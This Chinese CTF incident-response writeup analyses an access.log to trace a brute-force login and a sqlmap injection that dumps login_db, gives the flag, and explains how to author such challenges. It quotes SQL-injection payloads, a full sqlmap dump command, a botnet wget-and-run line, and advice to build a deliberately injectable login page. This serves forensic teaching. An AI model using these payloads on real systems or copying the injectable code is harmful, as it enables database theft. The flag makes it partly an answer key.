2908 字
15 分钟
2026CCF-被入侵的数据库 · access.log SQL 注入日志分析(应急响应 Writeup + 出题思路)

2026CCF-被入侵的数据库:access.log SQL 注入日志分析(应急响应 Writeup + 出题思路)#

题目:2026CCF-被入侵的数据库#

2026年二月初,国内某科技企业的互联网资产监控平台发出紧急警报:业务系统遭未知攻击者入侵,造成了数据库等敏感信息泄露。企业安全部门立即从Web应用服务器提取了相关中间件日志(access.log)。

请下载日志文件并进行分析,确定攻击者入侵的数据库名称,并将其作为flag提交。flag格式为flag{数据库名称}

最终 Flag:flag{login_db}


拿到一个压缩包 被入侵的数据库.zip,里面只有一个文件 access.log(约 380KB、3678 行),是 Nginx 访问日志。题目要我们分析攻击过程,还原”入侵者做了什么、数据是怎么被偷走的”。这篇文章先给出完整的分析(Writeup),再讲清楚:如果我要自己出这种题,思路是什么、一般怎么操作

1. 日志长什么样#

Nginx 默认日志格式,一行的结构是:

IP - - [时间] "请求行" 状态码 响应字节数

例如:

106.114.146.10 - - [18/Mar/2026:10:03:51 +0800] "GET /?Q5CsyX=Q5CsyX.txtQ5CsyX HTTP/1.1" 200 766

分析日志题的第一步永远是:把 IP 汇总排序,找到”主角”

2. 分析思路:先分层,再逐层剥离#

一份真实的 Web 日志里 90% 都是噪音(互联网扫描器、爬虫、安全探测),做题的关键不是逐行读,而是:

  1. 按 IP 统计,锁定请求量异常的地址;
  2. 按状态码/路径过滤,把噪音划掉;
  3. 按时间线重放攻击者的动作序列;
  4. 识别工具指纹(这里是 sqlmap);
  5. 还原被偷的数据(库名 → 表名 → 列名 → 数据)。

3. 逐层剥离#

3.1 IP 分布#

Terminal window
awk '{print $1}' access.log | sort | uniq -c | sort -rn | head
3167 123.13.22.45
189 192.168.1.100
63 103.193.175.102
20 125.92.131.196
15 106.3.146.202

两个主角立刻浮出水面:外网 123.13.22.45(3167 次,压倒性请求量)和内网地址 192.168.1.100(189 次)。192.168.1.100 是内网 IP——意味着攻击者已经进了内网,这是”数据库被入侵”的核心剧情。

3.2 划掉噪音#

其余地址是典型互联网背景流量,用于干扰:

Terminal window
45.128.232.176 - - "CONNECT google.com:443 HTTP/1.1" 405 # 代理扫描
147.78.103.215 - - "GET /.env HTTP/1.1" 404 # 敏感文件扫描
14.241.227.216 - - "POST /GponForm/diag_Form?images/ HTTP/1.1" # 路由器漏洞扫描
58.18.38.131 - - "GET /shell?cd+/tmp;rm+-rf+*;wget+.../jaws;sh+/tmp/jaws" # 僵尸网络
103.193.175.102 - - "HEAD /www.rar" "HEAD /www.zip" "HEAD /www.tar.gz" # 网站备份泄露探测

这些请求要么 404,要么路径毫无规律,先排除。

3.3 外网攻击者 123.13.22.45:弱口令爆破#

按时间线看它的动作:

16:21:51 GET /api/blade-system/tenant/select 404 # 框架漏洞探测
16:21:58 GET /.dbshell 404 # 数据库管理接口探测
16:22:14 GET /test/api/blade-system/tenant/select 404
16:22:21 GET /test/.dbshell 404
16:22:44 GET /test/login.php?username=admin&password=123456 302 ← 关键!
16:22:47 GET /test/logout.php 302
16:22:49 ~ 16:26:27 连续爆破 login.php 约 2700 次 全 200 93

判断登录成功/失败的关键在状态码 + 响应大小

  • 302 + 随后访问 logout.php登录成功(服务端跳转);
  • 200 93 → 登录失败(93 字节的错误提示页)。

所以 admin / 123456真实弱口令,攻击者用它登录成功后还专门登出(logout.php)确认,随后继续爆破其他密码。结论:该站存在弱口令 admin/123456,且已被外网攻击者拿下

3.4 内网攻击者 192.168.1.100:sqlmap 注入拖库#

这是全题的核心。18:27:32 ~ 18:28:44,约 189 个请求全部打向 /test/login.php?username= 参数,是教科书级的 sqlmap 攻击链

① 探测与布尔盲注(18:27:32)

username=tIfX' AND 6861=4259 AND ('OMUW'='OMUW 200 240 # 假条件 → 240 字节
username=tIfX' AND 2357=2357 AND ('pJkX'='pJkX 200 93 # 真条件 → 93 字节
username=(SELECT (CASE WHEN (8828=8828) THEN 'tIfX' ELSE (SELECT 2638 UNION SELECT 2469) END))

注意响应大小随条件真假变化(240 vs 93),说明存在可回显的注入点。

② 报错注入(EXTRACTVALUE)

username=tIfX' AND EXTRACTVALUE(9051,CONCAT(0x5c,0x717a626271,(SELECT (ELT(9051=9051,1))),0x71717a6b71)) AND ('axSX'='axSX

EXTRACTVALUE 是 MySQL 报错注入的经典函数,sqlmap 用它验证 error-based 注入。

③ 时间盲注(日志里能看见 5 秒空档!)

18:27:34 username=tIfX' AND (SELECT 2832 FROM (SELECT(SLEEP(5)))Shal) AND 'fsqd'='fsqd
18:27:39 username=tIfX' AND (SELECT 2832 FROM (SELECT(SLEEP(0)))Shal) AND 'fsqd'='fsqd

日志时间戳从 34 秒跳到 39 秒——SLEEP(5) 真的让服务端睡了 5 秒。普通访问日志不记录响应时间,但时间盲注的”秒级空档”会留在时间戳里,这是还原攻击的重要线索。

④ 多数据库试探(排除法识别 DBMS)

username=tIfX';SELECT PG_SLEEP(5)-- # PostgreSQL
username=tIfX';WAITFOR DELAY '0:0:5'-- # MSSQL
username=tIfX';SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(86)||...,5) FROM DUAL-- # Oracle

⑤ 数据库指纹(18:28:11)

(CASE WHEN (VERSION() LIKE 0x254d61726961444225) THEN 1 ELSE 0 END) # %MariaDB%
(CASE WHEN (@@VERSION_COMMENT LIKE 0x256472697a7a6c6525) THEN 1 ...) # %drizzle%
(CASE WHEN (@@VERSION_COMMENT LIKE 0x25506572636f6e6125) THEN 1 ...) # %Percona%

0x254d61726961444225 解码即 %MariaDB%确认是 MariaDB/MySQL 系

⑥ 拿库名DATABASE() → 302 后 welcome.php 200 245,数据库名 login_db 已被反射回显。

⑦ 拖表(18:28:28)

UNION ALL SELECT NULL,CONCAT(0x7178766b71,JSON_ARRAYAGG(CONCAT_WS(0x77736e786561,table_name)),0x71626b7871),NULL,NULL
FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x6c6f67696e5f6462)--

解码:0x77736e786561=wsnxea(sqlmap 随机分隔符)、0x6c6f67696e5f6462=login_db。拖出表:secret、users

⑧ 拖列(18:28:44)

... FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x736563726574 AND table_schema=0x6c6f67696e5f6462

0x736563726574=secretsecret 表有列 flag, idusers 表有列 password, created_at, id, username

⑨ 拖数据(flag 被偷走的瞬间)

GET /test/login.php?username=zPfw' UNION ALL SELECT NULL,CONCAT(0x7178766b71,
JSON_ARRAYAGG(CONCAT_WS(0x77736e786561,flag,id)),0x71626b7871),NULL,NULL
FROM login_db.secret-- - → 302 → welcome.php 200 282
GET /test/login.php?username=... SELECT NULL,CONCAT(...,`password`,created_at,id,username),...
FROM login_db.users-- - → 302 → welcome.php 200 326

secret 表的 flag 字段连同 users 表的密码哈希,全部被 UNION 注入带出到响应里welcome.php 282 / 326 字节的回显就是外带的数据)。

3.5 工具指纹小结(怎么一眼认出 sqlmap)#

特征例子
随机十六进制 marker0x7178766b71(qxvkq)、0x71626b7871(qbkxq)、0x717a626271(qzbbq)
CASE WHEN 注入判断(CASE WHEN (4192=4192) THEN 1 ELSE 0 END)
数据外带函数JSON_ARRAYAGG(CONCAT_WS(...))CONCAT(0x..,IFNULL(CAST(...)))
结尾注释-- --- /* */#
真/假条件成对出现AND 6861=4259AND 2357=2357
多数据库时间函数试探PG_SLEEP / WAITFOR DELAY / DBMS_PIPE / SLEEP

3.6 结论(答案速查)#

  • 本题答案(flag):数据库名 login_dbflag{login_db}
  • 外网攻击者:123.13.22.45,弱口令爆破,成功口令 admin/123456
  • 真正拖库者:192.168.1.100(内网),工具 sqlmap
  • 漏洞点/test/login.phpusername 参数(字符串型 SQL 注入,可报错/时间/UNION)
  • 数据库login_db;表 secret(flag, id)、users(password, created_at, id, username)
  • flag 去向SELECT flag,id FROM login_db.secret 被 UNION 注入外带,flag 就在那次 welcome.php 200 282 的响应里——日志里只有请求没有响应体,所以完整 flag 需要在靶机上复现注入或由平台以数据库内容给分

4. 出题思路:怎么自己写这种题#

4.1 先定知识点和难度#

日志分析题的核心考点是攻击特征识别 + 数据还原 + 应急溯源,适合 Web 入门到中级的蓝队向题目。要控制难度,关键是”线索密度”:

  • 太干净(只有攻击请求)→ 选手 5 分钟秒杀;
  • 全噪音(没有主线索)→ 选手无从下手;
  • 最佳比例:1 条主线攻击 + 1~2 条干扰剧情 + 大量无意义扫描噪音

4.2 搭一个能被打的靶场#

  • 应用:手写一个 20 行的 login.php(把 username 拼进 SQL 即可),或用现成靶场(pikachu、sqli-labs、DVWA)改个路径,比如 /test/login.php
  • 数据库 login_db
    • users 表:username/password/created_at/id,其中塞一条弱口令 admin/123456(用于”弱口令”考点);
    • secret 表:flag, id,flag 就埋在这里(用于”拖库”考点);
  • 登录成功跳转 welcome.php 并回显部分查询结果——回显设计决定了 sqlmap 的 UNION/报错注入能不能成立

4.3 先”演”一遍攻击剧本(这是出题的核心工序)#

剧本要分角色、分时间段:

  1. 外网扫描者(如 123.13.22.45):扫目录、探测 .env/.dbshell 等 → 发现 /test/login.php → 用 admin/123456 登录成功(记下 302 + logout)→ 继续爆破一堆错误口令;
  2. 内网拖库者(如 192.168.1.100):用 sqlmap 打 username 参数:
    Terminal window
    sqlmap -u "http://靶机/test/login.php?username=a&password=b" -p username \
    --dbms mysql --batch --dbs --tables --columns --dump
    自动得到探测→指纹→拖库→拖列的完整请求序列;
  3. 让 sqlmap 真的跑完拿到 flag,你才知道正确答案长什么样

4.4 采集日志(关键细节)#

  • Nginx 里配置 log_format 至少包含:
    log_format main '$remote_addr - - [$time_local] "$request" $status $body_bytes_sent';
  • 不要只留攻击流量:提前往服务器灌一批扫描器/爬虫/杂音请求(可用 GoBuster、或直接把真实公网日志里的无关行粘进来),再混入攻击流量;
  • 保留时间戳的秒级间隔:比如时间盲注 SLEEP(5) 前后会有 5 秒空档,这是最隐蔽也最有价值的解题线索,别把它”优化”掉;
  • 导出前用 wc -lsort | uniq -c 自查一遍,确认主角 IP 的请求量明显高于噪音。

4.5 设计问题与 flag 的发放方式#

典型的提问清单:

  1. 外网攻击者 IP 是什么?用了什么手段?
  2. 内网攻击者 IP 是什么?使用了什么工具?
  3. 爆破成功的账号密码是?(admin/123456
  4. SQL 注入点在哪个参数?(username
  5. 被拖取的数据库名/表名/列名?(login_db / secret,users / flag,id…)
  6. flag 是什么 / 在哪?

关于 flag:因为响应体不在日志里,纯静态分析拿不到完整 flag。两种出法任选:

  • 平台动态给分:选手提交”IP/工具/库表列”等识别结果,flag 由平台校验;
  • 复现给分:题目同时给一个”已还原”的靶机/数据库备份,选手照着日志复现注入或直接查库拿 flag——这也是最接近真实应急响应的玩法。

4.6 打包与剧情包装#

  • access.log 打进 zip,命名成有剧情的样子,比如本题的”被入侵的数据库.zip”(误导性命名本身就是干扰项——它里面其实只有日志);
  • 题目描述给一个场景:“某业务站点 3 月 18 日遭入侵,数据库被拖,请根据日志还原攻击过程……”。

5. 一般操作方式:标准化出题流程#

  1. 定剧情:谁(攻击者角色)、何时、做了什么(弱口令 / 注入 / 拖库 / 后门);
  2. 搭靶场:写/选一个有注入点的应用,埋好弱口令和 flag;
  3. 演攻击:手工打一遍 + 工具(sqlmap)打一遍,双份流量都留着,特征要全(报错、时间、UNION 都要有);
  4. 混噪音:灌入扫描器、爬虫、404 噪音,比例建议噪音:主线 ≈ 9:1;
  5. 导出日志:配置好 nginx 格式,导出后人工检查时间线完整;
  6. 自测:换一个完全不看答案的人(或第二天再看),只给日志,看能否还原出 90% 的剧本;还原不出就加线索(比如保留 302 成功登录的 logout 行为、保留 SLEEP 秒级空档);
  7. 出题:写题目描述、问题清单、答案与判题规则,打包发布。

自测清单(每题出完过一遍):

  • 按 IP 排序能一眼找到主角?
  • 状态码 + 响应大小的组合能区分成败(302/200/404)?
  • sqlmap 特征(hex marker、CASE WHEN、-- -)足够明显?
  • 时间盲注的秒级空档还在?
  • 库/表/列名在请求里可解码还原(hex 明文)?
  • 噪音不会喧宾夺主,也不会一点线索都没有?

6. 小结#

这类”日志分析 + 应急响应”题本质是让选手当一次取证分析师:从看似杂乱的一堆 HTTP 记录里,用”IP 聚合 → 噪音剥离 → 时间线重放 → 工具指纹识别 → 数据还原”五步法重建攻击。对做题的人来说,学会识别 sqlmap 的请求特征和 302/响应大小这些”无声的语言”比背 payload 更重要;对出题人来说,剧本先行、流量真实、线索可解码是三道工序,缺一不可。

如果自己动手写一版,推荐最小可玩组合:一个 20 行的 login.php + 一张含 flag 的表 + 一次真实的 sqlmap 全流程 + 灌一点扫描噪音,一道合格的入门应急题就出来了。